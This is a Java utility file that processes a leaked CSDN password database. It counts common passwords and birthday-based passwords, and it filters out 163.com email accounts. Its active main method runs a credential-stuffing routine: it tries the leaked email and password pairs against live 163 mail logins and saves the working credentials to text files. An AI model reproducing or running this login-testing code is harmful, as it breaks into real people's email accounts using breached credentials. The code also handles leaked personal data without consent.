/*
 * @(#)PasswordUtil.java		       Project:csdn
 * Date:2012-5-31
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.netsecurity.csdn.util;

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;

import org.apache.commons.io.FileUtils;

/**
 * @author Geek_Soledad (66704238@51uc.com)
 */
public class PasswordUtil {

	private static final String DATA_FILE_PATH = "C:/Users/msdx/Desktop/丁又专/user.sql";

	public static void main(String[] args) {
		// analysePassword();
		// filter163mail();
		 loginEmailTest();
//		emailPasswordAnalase();
	}

	/**
	 * 密码特性分析	 */
	public static void analysePassword() {
		System.out.println("CSDN密码分析");
		try {
			System.out.println("正在读取数据……");
			long startTime = System.nanoTime();
			List<String> datas = FileUtils.readLines(new File(DATA_FILE_PATH));
			System.out.println("已经读取数据" + datas.size() + "条。正在分析……");
			String[] splits;
			int allNum = 0; // 全部都是数据的密码
			int bothPassword = 0;
			String[] matches = { "12345678", "123456", "iloveyou", "password",
					"147258369", "987412365", "123456789", "00000000",
					"88888888", "123698745" };
			int[] result = new int[matches.length]; // 密码分别为12345678,123456,iloveyou（不区分大小写）,password（不区分大小写）,147258369,987412365
			for (String string : datas) {
				splits = string.split(" # ");
				if (splits.length >= 2) { // 有效数据。
					for (int i = 0; i < result.length; i++) {
						if (splits[1].equalsIgnoreCase(matches[i])) {
							result[i]++;
						}
					}
					if (splits[1].matches("[0-9]+")) {
						allNum++;
					}
					if (splits[1]
							.matches(".*19[5-9]\\d((0[1-9])|1[0-2])(0[1-9]|[12][0-9]|3[01]).*")) {
						bothPassword++;
					}
				} else {
					System.out.println("该条数据不是有效数据：" + string);
				}
			}

			System.out.println("分析结果");
			for (int i = 0; i < result.length; i++) {
				System.out
						.println("密码为" + matches[i] + "（不区分大小写）的有" + result[i]
								+ "条，占" + result[i] * 100 / 1000000.0 + "%");
			}
			System.out.println("纯数字密码的有" + allNum + "条，占" + allNum * 100
					/ 1000000.0 + "%");
			System.out.println("密码包含生日信息（年月日）的有" + bothPassword + "条，占"
					+ bothPassword * 100 / 1000000.0 + "%");
			System.out.println("共耗时" + (System.nanoTime() - startTime)
					/ 1000000.0 + "毫秒");
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	/**
	 * 过滤出163邮箱。
	 * 
	 * @return 返回163邮箱的用户信息。
	 */
	public static Map<String, String> filter163mail() {
		System.out.println("正在过滤出163邮箱的用户密码信息");
		Map<String, String> users = new HashMap<String, String>();
		try {
			List<String> datas = FileUtils.readLines(new File(DATA_FILE_PATH));
			String[] splits;
			for (String string : datas) {
				splits = string.split(" # ");
				if (splits.length > 2) {
					if (splits[2].matches(".*(@163.com)")) {
						users.put(splits[2], splits[1]);
					}
				} else {
					System.out.println("此条数据无效:" + string);
				}
			}
			System.out.println("共有网易邮箱" + users.size() + "条");
		} catch (IOException e) {
			e.printStackTrace();
		}

		return users;
	}

	/**
	 * 邮箱登录测试
	 */
	public static void loginEmailTest() {
		System.out.println("163邮箱登录测试");
		Map<String, String> users = filter163mail();
		System.out.println("以前面10000条数据进行测试");
		Set<String> accounts = users.keySet();
		int counter = 0;
		int i = 0;
		Map<String, String> availableUser = new HashMap<String, String>();
		for (String account : accounts) {
			String password = users.get(account);
			if (EMailUtil.loginSuccessful(account, password)) {
				counter++;
				availableUser.put(account, password);
				System.out.println("第" + counter + "/" + i +"条：" + account + " : " + password + " : 登录成功");
			}
			i++;
			if (i >= 10000) {
				break;
			}
		}

		Collection<String> lines = new ArrayList<String>();
		Collection<String> userAccounts = new ArrayList<String>();
		Set<String> keys = availableUser.keySet();
		for (String string : keys) {
			lines.add(string + " # " + availableUser.get(string));
			userAccounts.add(string);
		}
		try {
			FileUtils.writeLines(new File(
					"C:/Users/msdx/Desktop/丁又专/163账号密码.txt"), lines);
			FileUtils.writeLines(
					new File("C:/Users/msdx/Desktop/丁又专/163账号.txt"),
					userAccounts);
		} catch (IOException e) {
			e.printStackTrace();
		}
		System.out.println("经测试，在抽取的10000条数据中，共有" + counter + "条用户邮箱可以登录");
	}

	/**
	 * 邮箱密码分析
	 */
	public static void emailPasswordAnalase() {
		System.out.println("邮箱密码分析");
		System.out.println("正在读取数据……");
		long startTime = System.nanoTime();
		try {
			List<String> datas = FileUtils.readLines(new File(
					"C:/Users/msdx/Desktop/丁又专/163账号.txt"));
			String[] splits;
			int allNum = 0; // 全部都是数据的密码
			int bothPassword = 0;
			String[] matches = { "12345678", "123456", "iloveyou", "password",
					"147258369", "987412365", "123456789", "00000000",
					"88888888", "123698745" };
			int[] result = new int[matches.length]; // 密码分别为12345678,123456,iloveyou（不区分大小写）,password（不区分大小写）,147258369,987412365
			for (String string : datas) {
				splits = string.split(" # ");
				for (int i = 0; i < result.length; i++) {
					if (splits[1].equalsIgnoreCase(matches[i])) {
						result[i]++;
					}
				}
				if (splits[1].matches("[0-9]+")) {
					allNum++;
				}
				if (splits[1]
						.matches(".*19[5-9]\\d((0[1-9])|1[0-2])(0[1-9]|[12][0-9]|3[01]).*")) {
					bothPassword++;
				}
			}

			System.out.println("分析结果");
			for (int i = 0; i < result.length; i++) {
				System.out
						.println("密码为" + matches[i] + "（不区分大小写）的有" + result[i]
								+ "条，占" + result[i] * 100.0 / datas.size() + "%");
			}
			System.out.println("纯数字密码的有" + allNum + "条，占" + allNum * 100.0 / datas.size() + "%");
			System.out.println("密码包含生日信息（年月日）的有" + bothPassword + "条，占"
					+ bothPassword * 100.0 / datas.size() + "%");
			System.out.println("共耗时" + (System.nanoTime() - startTime)
					/ 1000000.0 + "毫秒");
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
}
